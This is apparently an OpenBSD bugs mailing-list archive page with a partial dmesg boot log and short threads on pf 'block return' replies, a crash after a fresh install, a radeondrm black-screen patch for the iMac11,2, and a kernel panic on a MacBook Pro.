WDRT SSDT SSDT VFCT SSDT SSDT CRAT CDIT SSDT SSDT SSDT SSDT FPDT WSMT SSDT SSDT
BGRT
acpi0: wakeup devices GPP0(S0) GPP1(S0) GPP2(S0) GPP3(S0) GPP4(S0) GPP5(S0)
GP17(S0) XHC0(S4) XHC1(S4) GP19(S0) XHC2(S4)
acpitimer0 at acpi0: 3579545 Hz, 32 bits
acpihpet0 at acpi0: 14318180 Hz
acpimadt0 at acpi0 addr 0xfee0: PC-AT compat
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: AMD Custom APU 0405, 2800.46 MHz, 17-90-02
cpu0:
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,HTT,SSE3,PCLMUL,MWAIT,SSSE3,FMA3,CX16,SSE4.1,SSE4.2,MOVBE,POPCNT,AES,XSAVE,AVX,F16C,RDRAND,NXE,MMXX,FFXSR,PAGE1GB,RDTSCP,LONG,LAHF,CMPLEG,SVM,EAPICSP,AMCR8,ABM,SSE4A,MASSE,3DNOWP,OSVW,IBS,SKINIT,TCE,TOPEXT,CPCTR,DBKP,PCTRL3,MWAITX,ITSC,FSGSBASE,BMI1,AVX2,SMEP,BMI2,PQM,RDSEED,ADX,SMAP,CLFLUSHOPT,CLWB,SHA,UMIP,IBPB,IBRS,STIBP,SSBD,XSAVEOPT,XSAVEC,XGETBV1,XSAVES
cpu0: 32KB 64b/line 8-way I-cache, 32KB 64b/line 8-way D-cache, 512KB 64b/line
8-way L2 cache
cpu0: ITLB 64 4KB entries fully associative, 64 4MB entries fully associative
cpu0: DTLB 64 4KB entries fully associative, 64 4MB entries fully associative
cpu0: smt 0, core 0, package 0
mtrr: Pentium Pro MTRR support, 8 var ranges, 88 fixed ranges
cpu0: apic clock running at 100MHz
cpu0: mwait min=64, max=64, C-substates=1.1, IBE
cpu1 at mainbus0: apid 1 (application processor)
cpu1: AMD Custom APU 0405, 2800.00 MHz, 17-90-02
cpu1:
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,HTT,SSE3,PCLMUL,MWAIT,SSSE3,FMA3,CX16,SSE4.1,SSE4.2,MOVBE,POPCNT,AES,XSAVE,AVX,F16C,RDRAND,NXE,MMXX,FFXSR,PAGE1GB,RDTSCP,LONG,LAHF,CMPLEG,SVM,EAPICSP,AMCR8,ABM,SSE4A,MASSE,3DNOWP,OSVW,IBS,SKINIT,TCE,TOPEXT,CPCTR,DBKP,PCTRL3,MWAITX,ITSC,FSGSBASE,BMI1,AVX2,SMEP,BMI2,PQM,RDSEED,ADX,SMAP,CLFLUSHOPT,CLWB,SHA,UMIP,IBPB,IBRS,STIBP,SSBD,XSAVEOPT,XSAVEC,XGETBV1,XSAVES
cpu1: 32KB 64b/line 8-way I-cache, 32KB 64b/line 8-way D-cache, 512KB 64b/line
8-way L2 cache
cpu1: ITLB 64 4KB entries fully associative, 64 4MB entries fully associative
cpu1: DTLB 64 4KB entries fully associative, 64 4MB entries fully associative
cpu1: smt 1, core 0, package 0
cpu2 at mainbus0: apid 2 (application processor)
cpu2: AMD Custom APU 0405, 2800.00 MHz, 17-90-02
cpu2:
FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,CFLUSH,MMX,FXSR,SSE,SSE2,HTT,SSE3,PCLMUL,MWAIT,SSSE3,FMA3,CX16,SSE4.1,SSE4.2,MOVBE,POPCNT,AES,XSAVE,AVX,F16C,RDRAND,NXE,MMXX,FFXSR,PAGE1GB,RDTSCP,LONG,LAHF,CMPLEG,SVM,EAPICSP,AMCR8,ABM,SSE4A,MASSE,3DNOWP,OSVW,IBS,SKINIT,TCE,TOPEXT,CPCTR,DBKP,PCTRL3,MWAITX,ITSC,FSGSBASE,BMI1,AVX2,SMEP,BMI2,PQM,RDSEED,ADX,SMAP,CLFLUSHOPT,CLWB,SHA,UMIP,IBPB,IBRS,STIBP,SSBD,XSAVEOPT,XSAVEC,XGETBV1,XSAVES
cpu2: 32KB 64b/line 8-way I-cache, 32KB 64b/line 8-way D-cache, 512KB 64b/line
8-way L2 cache
cpu2: ITLB 64 4KB entries fully associative, 64 4MB entries fully associative
cpu2: DTLB 64 4KB entries fully associative, 64 4MB entries fully associative
cpu2: smt 0, core 1, package 0
cpu3 at mainbus0: apid 3
Re: Information leakage of IP-layer data on LAN
On Mon, Aug 22, 2022 at 08:15:13PM +0200, Alexander Bluhm wrote: > Do you have a "block return" in your pf.conf? Yes. > Does it work differently if you disable pf with pfctl -d? Yes it does. No return packet. > How does your pf.conf filter to such packets? I think it's the default pf.conf, I didn't put anything fancy there. > Note that sending an error reply to packets that cannot be processed > is not uncommon and sometimes required to make the network behave > smoothly. > > bluhm Ahh ok, thanks! So I guess this is configuration mistake on my part. Best Regards, -peter
Crach after fresh install
Hello, I can not test Openbsd 7.1 on my laptop it crach just after the installation in the boot sequence. I check https://www.openbsd.org/errata71.html and did not see anything for me, i can not run sendbug from my laptop. So, its a Dell Inspiron 3593, i have taken all picture asked on https://www.openbsd.org/ddb.html and https://www.openbsd.org/report.html except the objdump i can't find the function. Pictures: https://drive.google.com/file/d/1DVoHoJx4q-ZOtBYwipI8xMsrkXQCiiS8/view?usp=sharing Regards,
Re: On boot, screen remains black after radeondrm driver initializes
On Tue, Feb 22, 2022 at 02:31:21PM +1100, Jonathan Gray wrote: > On Mon, Feb 21, 2022 at 07:39:14PM -0500, Frank J. Cameron wrote: > > That patch also seems to work well on 7.1 snapshot with the drm 5.15.14: > > I don't understand why you see this after the delay.h change > for the same imac model: > > sys/dev/pci/drm/include/linux/delay.h > > > revision 1.3 > date: 2020/08/18 19:50:08; author: mglocker; state: Exp; lines: +1 -1; > commitid: 5kwux8n8bT8IM82I; > Our usleep_range(min, max) implementation today is only taking account > of the min value to delay. On the iMac11,2 this was too short, causing > a timeout in the DP AUX transaction retry loop, leaving the eDP dark > after the KMS initialization attempt. Affected code line for reference: > > sys/dev/pci/drm/drm_dp_helper.c:771, revision 1.11 I booted to /obsd (7.1 GENERIKC.MP#0374 amd64) and tried it again. The last thing I saw was "radeondrm0: RV730" and the screen went black and stayed black. After a few minutes I booted the custom kernel with the atmobios_encoders.c patch (7.1 GENERIK.MP#0 amd64) and the display worked again, Let me know if there is anything you want to see from this system. dmesg: https://0x0.st/oKNW.txt
Re: On boot, screen remains black after radeondrm driver initializes
On Sat, Feb 19, 2022 at 05:30:47PM -0500, Frank J. Cameron wrote:
> On Mon, 3 Aug 2020 02:24:47 +1000 Jonathan Gray wrote:
> > On Sun, Aug 02, 2020 at 01:05:37PM +0200, mgloc...@openbsd.org wrote:
> > > System : OpenBSD 6.7
> > > Installing an OpenBSD snapshot the first time on this iMac Intel
> > > Core i3 machine. After the radaeon firmware package has been
> > > installed and you reboot the system, the screen remains black after
> > > the radeondrm driver initializes.
> >
> > Try this. RV730 is DCE3.2
> > - if (dmi_match(DMI_PRODUCT_NAME, "iMac10,1"))
> > + if (dmi_match(DMI_PRODUCT_NAME, "iMac10,1") ||
> > + dmi_match(DMI_PRODUCT_NAME, "iMac11,2"))
>
> OpenBSD 7.0 on an Intel iMac Core i3 (iMac11,2; RV730) had the same black
> screen behaviour, but setting enc_idx to 1 did restore a working screen
> with radeondrm.
>
> I haven't extensively tested the system with the patch but DPMS is
> working and I played some bzflag with high graphics settings; have
> not seen any regressions yet.
That patch also seems to work well on 7.1 snapshot with the drm 5.15.14:
Index: sys/dev/pci/drm/radeon/atombios_encoders.c
===
RCS file: /cvs/src/sys/dev/pci/drm/radeon/atombios_encoders.c,v
retrieving revision 1.16
diff -u -p -u -p -r1.16 atombios_encoders.c
--- sys/dev/pci/drm/radeon/atombios_encoders.c 14 Jan 2022 06:53:14 -
1.16
+++ sys/dev/pci/drm/radeon/atombios_encoders.c 22 Feb 2022 00:32:06 -
@@ -2191,7 +2191,8 @@ int radeon_atom_pick_dig_encoder(struct
* otherwise the internal eDP panel will stay dark.
*/
if (ASIC_IS_DCE32(rdev)) {
- if (dmi_match(DMI_PRODUCT_NAME, "iMac10,1"))
+ if (dmi_match(DMI_PRODUCT_NAME, "iMac10,1") ||
+ dmi_match(DMI_PRODUCT_NAME, "iMac11,2"))
enc_idx = (dig->linkb) ? 1 : 0;
else
enc_idx = radeon_crtc->crtc_id;
Re: On boot, screen remains black after radeondrm driver initializes
On Sun, Aug 02, 2020 at 06:51:53PM +, mglockeropenbsd!org wrote:
> On Mon, 3 Aug 2020 02:24:47 +1000 Jonathan Gray wrote:
> > On Sun, Aug 02, 2020 at 01:05:37PM +0200, mgloc...@openbsd.org wrote:
> > > System : OpenBSD 6.7
> > > Installing an OpenBSD snapshot the first time on this iMac Intel
> > > Core i3 machine. After the radaeon firmware package has been
> > > installed and you reboot the system, the screen remains black after
> > > the radeondrm driver initializes.
> >
> > Try this. RV730 is DCE3.2
>
> Thanks, that looked very promising.
>
> I've double checked that with your diff it reaches the desired branch
> now, but unfortunately the screen still remains dark :-( enc_idx gets
> set to 1.
OpenBSD 7.0 on an Intel iMac Core i3 (iMac11,2; RV730) had the same black
screen behaviour, but setting enc_idx to 1 did restore a working screen
with radeondrm:
> > Index: sys/dev/pci/drm/radeon/atombios_encoders.c
> > ===
> > RCS file: /cvs/src/sys/dev/pci/drm/radeon/atombios_encoders.c,v
> > retrieving revision 1.15
> > diff -u -p -U6 -r1.15 atombios_encoders.c
> > --- sys/dev/pci/drm/radeon/atombios_encoders.c 8 Jun 2020
> > 04:48:15 - 1.15 +++
> > sys/dev/pci/drm/radeon/atombios_encoders.c 2 Aug 2020 16:18:23
> > - @@ -2191,13 +2191,14 @@ int radeon_atom_pick_dig_encoder(struct
> > /*
> > * On DCE32 any encoder can drive any block so usually just
> > use crtc id,
> > * but Apple thinks different at least on iMac10,1, so there
> > use linkb,
> > * otherwise the internal eDP panel will stay dark.
> > */
> > if (ASIC_IS_DCE32(rdev)) {
> > - if (dmi_match(DMI_PRODUCT_NAME, "iMac10,1"))
> > + if (dmi_match(DMI_PRODUCT_NAME, "iMac10,1") ||
> > + dmi_match(DMI_PRODUCT_NAME, "iMac11,2"))
> > enc_idx = (dig->linkb) ? 1 : 0;
> > else
> > enc_idx = radeon_crtc->crtc_id;
> >
> > goto assigned;
> > }
I haven't extensively tested the system with the patch but DPMS is
working and I played some bzflag with high graphics settings; have
not seen any regressions yet.
Re: panic on a macbook pro
On Fri, Dec 17, 2021 at 06:44:57PM +0300, Vitaliy Makkoveev wrote: > > On 17 Dec 2021, at 18:37, Peter J. Philipp wrote: > > > > On Fri, Dec 17, 2021 at 06:06:51PM +0300, Vitaliy Makkoveev wrote: > >> Hi, > >> > >> According to your dmesg output this snapshot is form December 15 > >>> dmesg: > >>> OpenBSD 7.0-current (GENERIC.MP) #172: Wed Dec 15 15:35:28 MST 2021 > >>> dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP > >> > >> but in ???Details??? you said snapshot is from at least a week ago > >> > >>> System : OpenBSD 7.0 > >>> Details : snapshot from at least a week ago > >> > >> > >> What information is true? I???m asking because I committed the fix > >> for that at December 7. > > > > Sorry. It was a mistake (the Details). I was confused. The dmesg is > > the correct timestamp for the kernel. It is possible that I had a fault > > like this 2 days ago, and upgraded because of it, and forgot due to stress. > > > > Best Regards, > > -peter > > > > Do you still have panics on the most recent snapshot from Dec 15? I'll tell you what. I'll upgrade now, and look for the panic in the future. (it just requires some browsing in chrome, dunno how else it gets triggered). Put the bug report on ice until you hear from me again. Best Regards, -peter
Re: panic on a macbook pro
On Fri, Dec 17, 2021 at 08:09:38AM -0700, Theo de Raadt wrote: > macppc snapshots take almost a week, and since this is a slower architecture, > are more likely to be interrupted/restarted because of trying to catch up to > later work. I dunno, I had no keyboard at the ddb prompt. Dunno why. It prevented me from hexdumping the architecture for lulz. Best Regards, -peter
Re: panic on a macbook pro
On Fri, Dec 17, 2021 at 06:06:51PM +0300, Vitaliy Makkoveev wrote: > Hi, > > According to your dmesg output this snapshot is form December 15 > > dmesg: > > OpenBSD 7.0-current (GENERIC.MP) #172: Wed Dec 15 15:35:28 MST 2021 > >dera...@amd64.openbsd.org:/usr/src/sys/arch/amd64/compile/GENERIC.MP > > but in ???Details??? you said snapshot is from at least a week ago > > > System : OpenBSD 7.0 > > Details : snapshot from at least a week ago > > > What information is true? I???m asking because I committed the fix > for that at December 7. Sorry. It was a mistake (the Details). I was confused. The dmesg is the correct timestamp for the kernel. It is possible that I had a fault like this 2 days ago, and upgraded because of it, and forgot due to stress. Best Regards, -peter
